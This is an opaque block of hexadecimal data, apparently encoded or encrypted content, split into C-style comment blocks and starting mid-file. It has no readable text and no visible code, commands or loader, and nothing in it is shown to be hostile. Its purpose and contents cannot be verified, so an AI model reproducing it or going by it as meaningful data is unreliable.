5c53f565ab0a2c4b77797d14546172387c6d5f658ae87e53bb83d403ef7a4fe0efca4a0b65be49c2d7c36befcad33e64cb6ee309e5b9e8931288d1bc1e8844639bea00eb9c925d86f06c04761d2a86568931c78fa316e049bd655297bc8c0472077162317d04c47c31e856d86705b244519f34048a38e1c580ad7f7db0a76f44ac3b70332fa519794c05c821b4a6e2e04c98ebf5ace4f50a45919f390240abe05ebb450a1a00f2aa4b205caed9183561737460181a494ac9960bbbb2ae2330f5bd62d81ecbb6cdcaec88afb8fd6d2dc8fe779181da641e305185e7d96d005a27cca029a2f5a9062cd61e9fe9ee495a3194f72a7c89fefc37abfaecec841f41c6ab66541fdfb98818adfd6922377c8b1366b4597d3c573798f1137d20e7976bfc64777a51098e32fb448eae270dcb0a4503fad919932d5e338744ee0387c0463732d4ba886fda8b3c3f9aaea1656c7854329bb1c78dc4af676763446edfc34164f093e1741a9677fd0bfedc9fa09cff8c07a5e54b100c3d136e1d94400efe21262cfa70fb2721d8b8c0840ea98f4176ce06764207061196b258732fa8d4a04ca731df1278ea0b75*/
/*56062d587b196bee4033e61927ea17347d676e3a60e8064f87fb6e933065b559ea1d9492ca7a74c20eb2acf9903dc3b258708c47a8a0d4fa1e244bde282536dd84c2d2162eae49c08d0a9ecf2b6a879b34c566cc5ab7cd93c5658b41068ec2b95ef99831a83e10c12e976a10c1cc5fe401e088fd72b5bc67f3c12d58459a47e4dc1d4120aa5b6d6a507eca8b74c059696ce0efb6f7d6d29dc8c272f17ea58d7b8318715b8892133487ec77cd0d61320278f73f6f9c4d686bdbd82659dd77354ac0fc841ddb000285a3ee2edb9d20678112009d1c5e9f90975a33f90dd2964f89e6a0fab2b4392f986a603981157b6c8a14d716930863681d33810024c6f1bc450125c9d766068f4c180054ab47c5dac8e7195af033d9625a70a1d6ad9237fe212fbe3a59d2d19dd171f3a4ddf0f3b58ae09162dd9d8c0744051fc46a70c834c8d6690bd06ac5c047aa7e3a52283adc6c1c7bd2ca14715a08936f16ac48e6f8553150e8c81509436f78a87b00ace76b74367c059e5ed23fdffd1ae181b7e5190e258cbcee06e7428dbd53551a5e2ae548dfd43f414bdacf55affa13dc4500bd66146d4f9b5f9f224b9bc594051bdea2a8bd7da6f356173a9e37d2561a99201ad168d82f3e1733d5eebee29fed5857e818a3655594f6075e218b8f8089dfc94cba5b805d3ee566071f4fe93c2448a827163127d885003f8f4a0f0c1d6f818f678ac01539901c452708fb882684dea9bc16e4beec6cf66d865411b81d24b6727df461547d322f4ca4db337e11ca709b8d2f0fd8ec4d8d8ef0fea72f73fed6d283382967024b927d42f48f21d51e11f6f54bdc3da971adf3f58ac88c94230b9f76b7da4ff95d1ebad5db5211fc1d8f190a47bf75c19f9f0df0a04bb68635419ccf04689473909547dfb7b089ed6bff6db625cc5f59960bc12512b6716b55b88eda226744d5d96cdedb77147a65512c1b2c8c647f01daf2742df3ef12b7097ca7e1c44acdc7b4d7803b86a9931ecdc87b6352f4a0d28891baabb3c153ad079d5d065060f546d5a7d4bdb9396bdca93135be8c247df66ab6105c4698588f08abe8bf7a5b7ac9506486e9d930750444b7903e6d00949d2881b93107b3c42293fdb7ac51e8f94c4b5a871a54e6d1b30f8b75e5674b7d07f8cb949be6c2dc193cc7cfb54c7bba9d080cd2ee7ad3eb2d9a02fd12b992b445b26e1f08271a5244797b0fa696425ee897f470f81cc3f3c73940047e8bd0922468fde01f27b9879d67e2db33fc67c2c9857e0dc67b07ec7f37e9746fa7384a5a79e5ff048b208fe446de63c71a0e79f4a1a13aa3abe9d78069761642f20ab29b765fc21fb0e76a53f30a7a20624fba4e0af23cf2cfa3f2fa59c0b46b9a12f37e7a0ec9d2df5d698b67fde776bf1ec275590f27be7855199a7eb01523cf291d067e210bdd55a62c6d73c16215877d40f11ab0ffd2505b9583114c3bfdd2911457d5a901544ec84b3a6ff8ebc135f5912691377108e23fb3a3cb0915eb9d433e6ed7cb4e10cf4237f2562145ea73215b298eaba4deb5fb2c70dc96306fd3a73c4feb51404d3f61d7345cc553b86dc93f8d934b5ef835b1de16405f63706daef9bb5e46f98e4767bc8e6a15a4af5214e211a136b47faa603ad356b02e7ed642e30fd203387499fbb1c494233bddbebbfb8734cf3b0e65e6a8efa6dd5f293ecff03e3b41c67ebe27528b9962dae5a8434569a406a3d30f009527e2ea083fdcacfc670d9b88d39db8e6e22fe83b909dc0010e1591ae776349b4f35092ae269ea5aaca41c15e57baa563efe2d58fe9998d7c1d7327ffb479f1feb68abae1b33d6da812c054078cbbfac323e0c70c8454087cccea64843333cc4a5ad991e3d3b4544a08c711a140e5f5eea301640f4bf3472d82909c999732cc28d30c8bfcf917dcf7addfd53b37e5e0f8a5686d56d5806f78debc0472924334aae59a108225e0d0b4e12580b30e80ff383d22222e474b5375f08cf40a450e4bcea45e7212f174703af95912dd7f373ba84275ae5a1521c39f25c2c5f9d203a92c31d9ff2e86f246ece318e4307da81c7feeb9d98f1932a27b647813560a5400f610cfc57da0f2baa67b637604faad99bb364cf2093da1db8e7af79c280527c0cb6717cd608e1565b6ef4bff8a23c9284a320f8ccb9e73db7a2d8ef69c936a822860012d8bdb932f146835c54a1701b75f2fa9c9b1ca772200c642b8f975ecf4e0d6b7ac30ea6a50c118fbb7ee9271e7f03638b5ddbb60216284d368709e10515f09adb799df6ac6ce0af5c9d9456ab058f49b5d2eb350fc7ab7cede685756c2a4c3ee4748c7e3d361f60f0ec2f6dc985498ffb19e1bbfc348da740b1621eeb44c07e01a4a892c7ac2bfc06253d8133cdbdbaa06ed5c673d54da4af8bf1445432ad1d829987f4755bd353e7665e84d1bf3f12da33a444e3cac35a953e5ab159f86c94ae0e6ed5a803d5fea73865af08a5b6ae4dcc5af0466913e7225037ef5d3dd371299be2d236197c44237dafc85e52d7fbf114eff150a1aafc536657c6702be5af6f66128c229cfe7eae6d3ddf82b1b3fd1f0def3be7866fb10ed4288f3b470bb44fb1d788bb72e34f72785b545d514098bce5eee7b8beb6089dc84599776aa2c67f4e4b8fee54c6496725451858a319effe95e49370ec9b10220abd46e7d1aeb52165359deaabc31b8a367c3f9d243848367321066930901645bd966dec932676217159bbdb6e28d960b33657137c62ee37d681f6605cd5d74e6d783613c8429a0bee020bee4d1acd91165438a862723b3b45748026a359bfcbfd6f9371b696953447350e8*/
/*779339ac982cc08f4e32af7c7fb6cd602e2a84919e7686401cbcc652caae04ce1a9a8cd4ef9e8d1aeb310a9a7dbe81e8a7fb2021b2da8dea25640034470f6ee7fb4d4d3b3777691892898e20b2167b120db4b956960715706ca8e830bbe1786c270b95e85039e72f99e00a697bf21db54bb104ed4421206d42ff1d5cc5461c314e9df93f3e5b8a3931e31c9d87d609f301070306a5fe05548451a7b81f275fe4620b5ab73aef20abd3fa79e2f177c6dc0f01d135799a8dd1d235d99c65e67620fb9eb2d3e30780b17d0771b1447a82b7673eb95da94d962742005a80ab74b5954a151ceab9630da6b195d8beb4dbc3d8e3dc7f8f51300917d18a136c4f48c1feaa626788070e70f12f2fa3249f3c8e38f24fc5cd07c9b4bd1782c05eb6185a33a612af559341a576e14681010c91c902b78835eda4df8d77bc1ca45d91fd80ac4dd9144d2cf19f58021fc819aaf46ec08f4ca76f22fd66b858c7fab69e6fc2d644c93b3651bc18de55c9663d3b260018d8c05d5f0034ab0897ac9af4d9ae29cf3fa6bd4520ac1b17dfd53fd6a822c453eff8c11ab35aa31ef3de31e28ca62c0fec344bb913cdffd9a81aaeb86a4f035ba5dd7b53ad5b6cf920c2872ef7eea8ec1c56194a4ce1910783e5ba48efd261769d471797acd232173b4e7127ab2d1a355ba432abe71aae35e65b41f1d181c51b40474af69b93b2b8174f5decb53424fdec1f0c2c301b07845638f4697769deb689eaf4c1424f1309daeca797d284d2bacf0509f2dff8a102f4766d5cb37173cc2ce9a33c73c57c949f93616ee86284d522fcb38f9764ee98d2b72e3f2e98b719f055c29bec99daa82a410d112b278f7fc93cfbd523f8b9bace273a9296eec70e9764109d6d7b45f51dab52be244bb56283492bf3ff6f008dc5d24501c0c882567fc0f415a604cf746caf8877bec59eb798c4989d599beecd0430452c751a48057e5efde9f688240918fb303125a688feb3e6f7b1489a0120ae7eb45fedfe7f1fb34427b1165af82c148fad28d3ea35dbcc13d803b442ff6e9cbdbda2240e595b36e2a11d5215dcaec52255dffed1ce48bd97daa656592afa7af55fb16ca814070ff3d1aaab65ae78b790a452c4bdb86eeca4708843139895fa8ec892695f1f1e3ab46e4cb210ebcaeaf777349842bda2fe25f2875120309a3ab6c6fd75a6d7687d9b1426eec68df77380c598fbc7397567a5a710524164ecba32619c430dc88d8a81b771d3f4da2e591b844581a90d99799457898a9f3bf666cbd1c16b6c169c7aae16ea8fa7dcff8de19e05c33aa7f496bd1332cb2547ddf9efdc865783f32901a3df8b5f9dbe9f1e3c70d6de5b850c33277cd3eab919c229d121d2d5dc341dfe74633fe28a0ef8336bfc533cf9752bf494491ee55bd0117a5b7d18137d90ddeed0a3d9e3eb6df264fd4601ebdc618aa9d0bad0555ae9834090022f21b53ad7d9fa82e745225126d0a2feed7ed14f9175328648c8d580029bff04ca693b14eb66e10b30a0bde5eb50be73785840adbbfbf87ebd000f4d501bd9de6855c1c3dff0c673ee1c28a754e1cf59f6308928ab795ebdd0ad099a75ac54937207dfd91f9b8bb8a9ab4d269cad0246d27e98f44ba472411708189f829b68e1ddce242a48b3f8f22ac35b2b01327602745a0a55e384d08a5427468ec911dd4339b1dd03d58e4f7ba5413b1bd8654a4cf2b513dd08b934653b7ec18d3ab0bf6850460bddf5b425ead3048aebf37dd302128a8df1a29bf1725b1f762712f871e1582f506af606c841750211335ec0090fc7169afc7866d7304f172b84ebc717b005f469d2cc2279c04a40330e85f6210c1c79023624a26e21183e48f47ed8ff7890dda868ab3da399ee8b98f23dda87aacebcb947dec7af5ce5bd72fdc8d19c68d9a567bab520db29d35bc3bace03051a94a06350888e6f7e90589004e35fabc728f7373b28216fcfc0c4bf4f9eda30489b9c2a5699eedd7633c2acb3e04e9d8ae281ac08cf0a7c7975f7cced1cd5b5030f1143a6c826663acd27da83698f5a87d7557385804ae17c63c0798cbb4d3b1def01fb9133b320101dc73c100377b036370b9459e60dad4c29ce075cf8acbb701907a31d823ebbdf105ca5412b1b0a3f3c3b7d09314a62dad3675191d20aed983f2e45b2f837a1cd69f7d88c9efaaa3c6540115593b637a22453ffa15d023302bbd115e676b655275f8a0eb4b6c9bde0bfbcb678b2510fa85aa013861d5a581a6d7cb0c57f7d496f0ff4325672e0ca17ec59a2ef79b413ecb9801690b368606ee4b76630bc9133c9d619d38660ebca466ed40a12d4094f28fd27e022a636a32e06fa1587d79034c9ede1bb9241b39d10315c754fdc7acfde501662a65b0176c8119b24b877f85726c0b9f2a570f49a40f5c81a3165ec8e60d8e651d5097bf4ec747f104bed6ec5e7823fb3d471a93c4152aaddc0c78f0440ad17c6ba5e42cd83a68b47847ccb1f643438b2f032eea3eb344ade587350d6ef050a512fe97291affd0e3a4ec2e60039789c7e4a323f9cba7552125302c84e037aaabab0a6475d3024dad922fd255afae7f171cf7ee22168424a23967b87db863dd4f7b1d9bb8dade9fd049bf8542a15d9d0ed44f633099c5b0675debbb3780fac454edb5a4b5b0b8c65110a2d59fb9500f5228cc571f4f18ed68fdbb9660d557c8fb40b37fed396037daf4e09e040a179216dd86844bde921cc88e2dbd6e155158a84f119e6e2216aa8ddc1aaa02ea0ab29610cdf74a23d4767ffb68c9de753b4150633d9638c6f65292cc21da1c5b9aab7d0ef4a427f224926ee2fc9*/
/*df5f4863dc12a7913ef9c6f4db8998f8db71d87b48bb175591531759d6d1cac2c47b3db626562b3553d059d324613d322a17f457430a87eb332b6f8d92badd430d242822fd7b5437bac6b639c71e0fa808c073a01ac232664b5aae110f8df3a2f24a9fc535cd62f3c3fac67f50b6781faebcf6d4da750da0a70a38da68bfc700fbbd9cd6f26b067a80d7efc9dfe947385778c7f8b36c9617ca7bcfe7c876d34027d54bf23c0d5cfbb654c88e0bbfe4ed51a92ec72ed8586952d3635f63ae3ff2c00e951eca25fde5edbcc8a4ab7dc672020ab462935c86efd0589b75a5f45b6314a1c0ca4f4abf5b821bd97cec99e45a0ee62775ddd1b54ce0569021dc79083545eaec86dda26592fd9ba41a054219079c8a90f292dc38dd651f96568f9c6c12e77586c19db35f43a8c510621e19517906072cfee3e69b417f5d193708b406acd9b74a9bb880d793c4160d9d10e4890230668d4db71d5703819948b739bcac3a51163afa16cba0c21459785ecf55b6a1e88dda0cf64054dcd87a434d7dbd4d8921a91422ca0259ec9afba0c4a0a8f46e47b483db19e4073611d9ab4f9c63ea68b0a7e0ec4c7004bb93656632eca18c61e96283a2b23bde69bc3968d28a6425699894bb93660e612fa21dc0ffdfaf1811224d4356b9e197f892815d40d8b97fa635df484ce33a09c978daae07411d5c90756530a25274690925eaf381e0a42ff87a5c282793f704abd0838c1a080171ccafc1ae73317d7109ec2a589e9be2c260990930f52afa4ec94dc2878e438fe0edc76a840efc05e0f55f85b5dbb3bb948d8ace0be57042f9a0c2b85053089ecb1169cff2fa945ab11fc2e3ef12c6f333179863b9657b17c1659c668742cd3ca55a723a00d36d6ed1f4b827b354abbc286f70fe6a03d6c7b9a84e43307d2f103412e0e9ed202f37cc08149fa83c655a431e6285048e59aeae08aebb422da0efb7e2063a4282a3011bad77f925c4eb2a254b6d42a1727ef96d5e7c316d9e437b73435092b7e76f02411c271b268046d2eb0e450261449ed245b1591599cc1930f6475f6a28e782a2fa38e8f93a064aecc1633c6420901190cefb9411fcc11e4aabed3244c666c2db0d02e47b535a50e6f019aa236e099867fa9807eb34c14f26a51dc2538963ce95a88c78df90bb13f82da11fb624005feaabcbc7712666b8e3d00e8d00fa56316b6457eb3ca7b09b95c69ae28cf504e3fcab56696b2aad5257812fa59b2fff6eaaf44f5bb1c354f3194d781c0f8edc4513ce3fbc15cf532cafa9ef759cac9a433e67c2fd5567d4ad43281fc777509ab78e5a09b5f0f21fcdfc803d7a4651143e1b8ec5b85850796a5a9010bf665d7558bb28a7ce8961c117c3d2f125f0184aaf9fc3fc7f7b76a1b1b198eb006a954d85b82b04f98cbd9da2633234aa385d24a932fbc0f27333231ede33fc2622a8b2b8bdcdb4678da2d8189a61d6302027501b58165bf0c4c0ba5839db278c5c54a47db9917f91050d82e3ec8248ed78171a743fedabafecdb9480b202f7f644461bd831977053ec75f93ff1f237e78aa98c8278e8cdc9c81a9838b42bb762ae8b485be454b83c65b0f138b984a5d0d7a216e845de0952f94636a2c3c3df48cc8a7da46b2cb1682d3591df116cd1008414f7efd74206b21de46867f41b422ee6fbf34486efb8919bf60fc438a3aef93aa89545764755ebd6b6734559f25af55542daa3e52421b4a2479f0cb6458f70c9ef8815bc392e84decc349a53113266ba34e2419e5c34f62aeedf899a11b356b8864edd163b53c1710b7afffecf10226447faeb2b988f7ecc8313c2bc67fb24141771486aca5859c2c143dba8b743bac2cc8eae5395e66e272a7b627945d44612d7ac96f91f8260ce50797c7ca57d84964fa5e9e5d543f595ccfdeb4fdcc3c40cfe4b37dbb00d0e021e16e14859543f920fe2ad5724e98da2c463a5015265f29a83c09ae0fdc5a84add55f145876b3c1f8deec94ed6aadd4746e05fcfd045b9e23853784022b9df2de3898af272e6d0f120050a61c582dfedfc76a689dd0c2e1c8f62ade73cb987868cbc02f0e3ba1f1c4bc940e9a677e66db91352ce3eaa2b1a9bdec298efbf24b664b04a44d5c2ba695ad110b74627671bfaacf04f5d3e773223ba06938d46b8b895952fe17c50530733c3867f0e79739c26a6526ef2811f74774b5a97fe415072a89f8b7e461bc35d8d2160b2f58c9cbd071e66e99c56f05a9671b7e9f62a8b2bf1324c6d0e43edb809c4ed4124e67a8cd42d59d7c556a48e7064efdf8f275bbc36ec90a616ae8dbe4a106a70f9616085576d7f96ec6145354be448a9d2e44e34e7df62d1a50b8a783e3c72efae333fb15262a7fa575eb0636717752a9a291107b8250a3db881d8d3dc4ecd79e2ae2b90ab6062f05776ce04bd39c5c159c9557f31690611176b5410d3528a4e6668cf6b80fd5bb664910bbe221b6b0ca45059aab0d357a167251e6b9f046c96a700cb12f637e61b885d8e40dc35b4a920899f81c5fd45a490fa7125e885c630da8df72ffd80fa97739e619745ac54f1619b4265294376285c33c7674a955dc9dfb64cbd4c2fbaf70861a01912e1da985939bfeaf4f93806564a89d678d2b7ba396995084bee5f98b1361df8198f2e7a7750f5d20e0d843c7b359fe7ac3db22f72195884c7b6f2ab856784f07426759b65f99c836c1c3e392e296940e35e492860d9ba5b47241f7a8ccdedcd8a75acff2e34cf5ec7705ecd40690e2fcc68608eec85181a58ae3ab0ae89f4be6ef1be5bf773f04e84979666766fa13235f7d7cc1262ad209b7b7188736d*/
/*1f86eef422dab00fb49ae8d59ea0371e119576d1395c00bd303f3ebec7fccb805f93c6d1e1f9bfb4327d6dd40c1fe9f62850b2860abb2cac280a13e508b5e1a56262d43ecc4788706c9a3c3a248638cf6517e436259cd1e5060709142d5fe50c494c729ac2fd90455f4dbd04e4c76f3b0d9c35c5f67970c9e90442dd477b7397e9f8271ff7012e6cccf3333c49ba45b71831098dbb06848b51f90178749c506a0c2e516af0853220d5f6b6e0115ed128d3041fa38251b6b3da766a8eb175f6e0c7a8d060cef6e5c0ab0b95a3a780bd5ea8eb858291561443cd6fd4422965dd5168648da97f88d8e237863ae68ac814b9d74646bb8d708c4d42c1f1d11a523120cb342fed39e86906b06febbbc189c07fc54e75746adefdc8de570e6b27790ac344dbfd11f223675c75ad85b27f1c42796629090c8815df258812e009de48b805ca061078531a71e4cd513d5f9c1fcfc2fa4581f4c31d6d65ddb54711ae0a6acde253e78b520931b587e311d56c135ac469d2fe219a530c78c53a5dfe81e1545220dd38f74376fb12e6dc5815a4061ee59e02dc82a8dea138dddeefae4f8dccda810d8a0f69552997a9f143a401be0b485e9964bd01cc93fcea755e1488bde16fa7085e6685592d4f988396f9420da006060db6e547ccd7734f67c338d5828cf60a453f929cf6bff78a486a7261227f9318389aecf52f492e90563ff3100bd770cfe386962cd022081fe5295a8a370a7c657a1a1e82532a515f235bab7b0f4dbdebd8a857630fc53c838faeb57d12781caca602bcce9a1f61058e8df905ee180819b2c8cda5e80329759227f6fce3120344706c99dbf60f594711f11d0c4c49ecae9767ef27c611170f57b99f08312f83a6d2037b69911873c6a7fbd80b6d6c71252d64f5b920f8ec2f3fff146723e16f7a33d4fd2c030976d6790795831417ebc3c3f478503de3e343030ae20dd08150bd86cf4411e47c0b5ad2cec4ae1d39fbea526325035d418ee0239d70d6a2b791e0c06a6073761742dad53071c97cf0b73035c2bc3c4b5edac1200db42fc20aedeeb57c4daf835a432212604e0f51957a9d669821e757c2a930139f6beb6c6638e4d81869ca3f69a2d1ed084865417ae6dbca80ecd007d976ab60564cebf007144d9e8986ccff7c977905be2af886c299751c9dda1a70fbec3cb50dcd65bc47ab4bcb138147b381724e6a3c4fb195027006432f32f7b819213b10d82131cec2883eb7023f5f5078a2dfc2450458da857bbf0b7aceaaff527f12a98ca482cf8f6d378846b71aebb0060145706e3a0a027881bcbbaf8d089954a53476899528428f6515bff459318e90c591818ca64d92cd4935f0988b3085cafb766d126c6dff991b431aaab55806431fed103de1838efa26890bc969836866768887e723bced1c5230aadf973c01185fe9836efd568f957f25187118c7ec64caca8c69a09264886492e2a6bdaea3344ef3b6c9d4a533faa8e0fdf142c2f933cf6435b3a9256ffc1a783b0f07f3e2103c60e32fc7b706e8714d20e70675b6fb586e24b800f913a52f1c0cfb12e5b33a49004563b94634856a5b82ccf365553dcca007ca8645e0dcba4dee1b1f4bd6a00c8266abbc5673938ceda50cc15faed368919ff3c8203183139d34e45f75c06db256aaaef896c92e44f16a974552be87970f0233945fbb00d06430abb39261e9957fb2072be86cdbfc4d212a461963c9a27575490af882466596ca3e7486a367c383ffaadb1258fcf27339c204aa52937bc875555995f2d8c194af2f20081d8eec30755fd3a1bb93e9e9fceec1e95eb2b8f0ba36deaa673844af401d886cca10e261f9575581f5f7ef3181a3e93cbbb51c5884ea53c5842064f18a454a59cbf4f8529560500b128b20df03f2c31f10672247cb7316b397f982874acf8cec2f8328eeddeb07bfa06636b8c93e369f0740af921748fdc3a33edf23c472712baf209ac598c322c6b40165b8eb96005d99f1cad2a3633bc57edba8915d07891f5ac5d7c3bcbeeeb2c92022ead3c7be9b144d7a9e6e8316156e6fbf43b4ab90ac4b39204991e966b91981f2f5e8d3c747795dce270416dee2493bd0b215d254e5746dfa0d7c89fffd0b207dfe033a9ab25a4b3d50ca30d12d15fd6b13ed2d45b7d756660db12c2b4d9601ce3c96bf11249ab187144419f0b9275035047f1fe3530fef663420409e891872e0631d8f628b1b986f916631ef83dcc6c6b909057f99cb4f890c993afd5923b9322f5e8fbe5ddecf4c8ee12800fb9bb5804803bd793ef2cae6a5ee12abea68207f45466b586749fe98fe48e85883482b558528e64f6aa5d5fb768dce2ecb2cd3d439d72ca1bc69e5719dc265b448f6e4a55c8f14c3db13255643e0b776b24ec7d5f72a6d59491e239cc7f65e58fc482a6eb2c5d74d169dbb69f5a6d2effed7b83513ddab0be02e5e866229b38edcef5b779001aaa7a58a14d317711fb67a89ede2015ba6b32f533ff1328d7d5a48396d2022cf10d0237587850c530ac56597fc2c9e9a707dc03f73fe3db6d0522f98d14a33549defbdae5bec5a0cc495b7294cb42adb0e17a3885524cbacee6406666dbdd8d22599565e6999af58a79647265e533f12d61c54c565e94888635745b6f4ebc8be7cf9a7a30ec8312a85630f25d7e6b87b414a52c36fa25751909041d59fc4cae25f14bb51788ab8870707f69ce3a7f492fdf79d8331178d1270879f3de60b4cd5a33a31560d2c0fa6d89c21580e4c32f672b8dd3248484315ddeecdc33c58dec51594be635de53a2d974c130598bea41ba61d4af5c916f34c8a318e1dd4*/
/*31a371809daa5cd093e44cbe07e35b64d8dd4b369c8e18302e3911fbe5eabf17e483f59107323319ed1f00e3aa12d2181ebe5118aa08642bec19c9d7aaf626f8ce2a6b17eaa69437500f0bf8bafa1e554bf73d65641d10a28ee0694f6fb99e795c5fc0b5d3ccdf2445e16c263b7d97aa821155a301fa6c8eed807845a683f50c9451c640c95d958dcdad8ce7bc9cacf7dfcdc84cfbe3ffe4082914ede30d975ff1b0a7a493a511f3ac9a76a65a3e82dc2816c58a200760be30140f79eec11566fe281b6752c17ba4b75ea7daa2b8bf210046ae6165d3d5bc4be7eb6d3aebfcf0dcf4f700a94cd063d1d6a975fb5f96626cc33432b9e25821d21ea119d19973b208e6fd23b0ac4923e89090eafcf037d3f25d0d743bd6602cded562728af116f786524742253e6adbcb52517be96f5398311f123ed2ede728ae72e47aac6339d77c35b841b2d7abe9813b9cff247e89a8444dd6ee1da40864475475c8c24d247b6cf935240d41086c47fecfe72b55d614752891ed6d3c514aa4083c65dbe4a4d399d93943c17919ce511484684888b715fcad2115a420c3fb37e04378e50b09325f9698779a8b6fd17c6addf0e66cb29d47112e25cdad25a50b0d92cbbce360b3a365afea169bb9be83e0797079ed2901be9c354bbe90b0e64704e0a77c20ace734870840ed400ee487556a2a4ce999716ffad18a07488c960e997162a4d469103070f5acce5249cca2f61b0331eb8cc75ba43188f3de9580edf88416a886c2a560260085691df35be9c377e4fc0721fef614229df64443ad2a9ea83a7e49f3a98de5a45dd41c8b7a36ce209229e6cb395151c4d693e73d847261ada2861b6e58cf1f070e2e5a08992b5aa971dcab95736fe2b918d579e4ce92d8b387615d783b4d0be627714e3ca9fa8666944adcdd6b783f4a8563a948e11c47c475870ae6d812046789bf19d995d352b87feced6f2c0e731bf0c72b9c20173538c6498b16bf7f7270cd181ba779bd9d866852b0b81549ae1a03e4a802d1821d3064ff880ca88f426ac5414c70c495b07f616d9bfc0975ce2ebc11ed6cbab32611c6ac28474bf63174d5b996a094ea6d9069dd5d8b5e761728e5fd27ed2344ee97e550c6c47c511c4e982ac9207bdaf0eed6ba300c7fb1f18b1cc4da8ca7d1cc03c90fad6fe016a6aa569baeb7d3fc7554cdd53a2fcbf8eec64180858d221bd593154a8fadbe4aea40dddb44917a84a339178a363a2cb4a087f13255283518556402704b1589a2c7a825576284e8c8ee2226b7b1add556067d0b688e3177667bc930ef13f25ef6f0cfdb3ad3a4d7f5fdc4a05c5874e3f050343dbe01e49d48dea863e28b8fd3f32de86588d061e99b9060574ab377b9e4200b2f2785b97e60c00442caa96e596b8c6e7adc10bafe4b06f6c3838d56c328407d434ebc2cdd7172580edc9f2ee394029079f7a51280e69c5b346b8c07819da54fed04c4100d61115bc18e0fc90d6a8164f0bdc78976a2c0f8d1f908516a1fa4d19b488af08786454dfda41936f1c7bf4e37e1bad278ae1a947ed8eaf654a5e340800a03510c23e296a70e4c46b0efb5ae6b914ee54f1bea7360613d1a4185f195a0fa609ce2d6584967077235e59822cb0b61621990765466435292c3982d2ff9ad4bbc26aaac34d0509b5cf6c94d3919d095a460ce7a8fa1717b6b08bbf4f896172539f230502a34e4fe50770a2fa7178371783276817b08f13f12522600ea97f1538ee1fe5d1c59d12f8a5a51af7284d2edd693cd185b23a443a4e9ca4fce1972bdad8887f751f8a6e1f223e4e31e99d555235bb7342146d69d46ace9cb7481df676fcf057823b0a6bec4a0f417bc9a62773088812a12f956df6ef3886c97eca3c50ccb1907c9a7fe9fde9e9149a10207f36caee96dfc16de70464025e06b435f1cd5bb8d48737235d04bf99913031f42aae7f0e669088aaa5192cbbebf5d7cbc9d58324a72ba1de97ba0b97ce6a7f639dfbd7cf4ad310cd78d6256ed2c79222f66baf8fc11e066256d6081287613b936407884011e1c3a364bf3703a272861d909fc538c08ea0eefe9246e89b382646ef96bbf35384b6717e621a9a144fc21a37affb434c39165461e8385094afc5d9ee0cfe77cb8c4f96f26b1a979e12dbf49dda2786750acea914014e1b1bc464e84d6ac72af0c9d0e7042dac80fc7eb8b917c2faf87242ba080d3634ca56530c68b71cb2b984782e96429f7d624b99e94110914e7bc75ea625bdde578e4c0c7c78efcad729c184ff83884d6a5d547c752d93a8d53b48609f69307629602b67c8ce3af0fefb617d44c8f889961d77c45fb8e86578809820a045f5bf4d001e6984c1d805676fb3534015d1aaa2e1734feff83d7a413d0cb6b5ff92ecde64360e122bca61cf42709f539ed6751e2cee98aa872cf93b9e8a356555c2f5554c29179c933754f517e7de7f3e43d3c39aeddfd38aca1dd269c45fcb3ec85ea56d96fe358fa8399fd190727f9b816e52cf78ff24a0fda690a1e1ca2ebc91b9938d60d7857cb3088065a551eb1d6464024bf730a1223d6a6c7ea12b3629454c779d37f7204e03d97c4fbf37d41a85ce0014ec6b685c587c54a82a5ef9817f95d73316cf048253f89359dafa676c0828133999dab775f3ffa955b849a6e7f2518218e27ea3710d89bfb53e4d30aeaec6125cd7e5f94d1a1b005bc321c082890ab581883c8643f8cdc747bfb581d45570e305dc13c02519d2d4392126e5543b9aabe676bdbcfd461c04ad36ce559a4ac493bcb042972949efca90fd96c5d40a12e9caae9f038354aaa2a655ab918d6ae3f5408*/
/*5042fdd1e9a4db5a0d337a61e50044bc029805234c41a6c5f32eb7e711137f65c6e1bf491219423d9e0b28be7884e5b9694abe417432f371c192b1056132d2d5738967a9dd508f803eabda59f98ee568ce9461ec049237f641bde88ed504a16f20d7fd10629385d6de7645e98976f1d9c4572f243ac74e8820cfe88cc660dce584b30ea134f58df78531c10cdcea95d84014462379d8dffec3b3d5970b60799fa904eddffff274ab578613446c27f47aa5e00318b94b269d09eb76938229baef93fe54aef045594f8eba55f1c7fc8eeb3287ebc651740805027f633ae683bb0f599bbf9aea4095ffc1d7f5f367d7e1b68bdd66c758ced126e530aeef51ea0d1103d714051049ae4c271d8d48f930c69eb68fdfad34be1d3e040f17fec7dfc92a14f63a4283f3bf79d85ef61490939993ac9e5c654636b32708b36f6a4ffaf0753f05d637a07716f77381ee83d56ce9a53d5ddbb5952e3e4463c40b0dbd22e4132c5b420cf17fe044894596922b05007e4557b033b1eb90b0da202c55ebfe4b08f34e1de5db720a78268c436aff8474db67cfa361372acaf1af5ed61214b269d2b3864df61dd0d7616cca6e2edeb00376b910115089c31682743ad76407223cb326d3d8e79ad7c455fae894c236d853444a9ce492ec84be373810d66dfce9231139420d20cf5b80fa4d1d31c6d44bba4939ec112ce9ec070516d54a19f0047e5cbe9047aea84398831e229cd46b30134b46ceba5ed835dfd9fe1c560e6320bec7875fba2eb4f41e3b82aac1eb1d38002aa3cdaf26c747b2c26810b722c6a5f9556bc734c65afa62a23d14c227285971b670e8b5cd9f9cba0821a04cfab7b955ed57cc47aff00c058ed84596a3c2e0c2cf3320529415ae204403a3c7a895aeed7e65753d8ebaf949f40a6f534fb1df0a76644820cde6acb2f646f1c59457d1196466fe807c26dd0cc424de9a67fe9ce54f6d5bafe387482f90e20d92281161264dd6f671fefa26a1bd6993fbaabbaae3e9819722c5d924e1fbdb0de88b4cdc26557cb902a749651d1dd95e7e2e00833ab9376da3434569f8e3d5bfb09b3fec0bf8a028ac9368fc338583c4bde8eb9debc88865dfb74c8bec847e7f6f87b15a75b4722fd0ce8ae6ff8dd9ee6ad3f680461c3a1674e277e6a570f3d6d02ea5435e987bc09239f37e7fca453e2b30b911cf6cc5427d600f2d05a251816d864e3eed2eb2d4f49afb90f0c31efed3a733781de5553afebcd45af250b641423871674a214eeb18bdb90bf3026f6b7d7be3ff1d5784f21ee61138c1feb0a1469bb4045213b30bd73b55f54fe457ca776003b1619ae79c2fb77d4f7ae3f58e955310ab2db82bdef82d218e31281d828bfc9d91f8790fe626dfb23389dc5df0d5cebf03157b92b6bd846c6cb277acd7f10bb8f4f3c719dc03e321153a867a2034b5b96677c85da56eb3896188661029aaf69dfd0292d8aafdab189faabb2c6da915c6ef987531954172205807cd3d8651aaa80dd288493d3cea378ae826de0769bc18f2a8ed4fdf815fb433870d48b07391fe41b7a936e91697e8b08ada17b02d9cedc4cec4f712ee5dfe95e8a6caa6c8a2febd06bff0ca516659efd9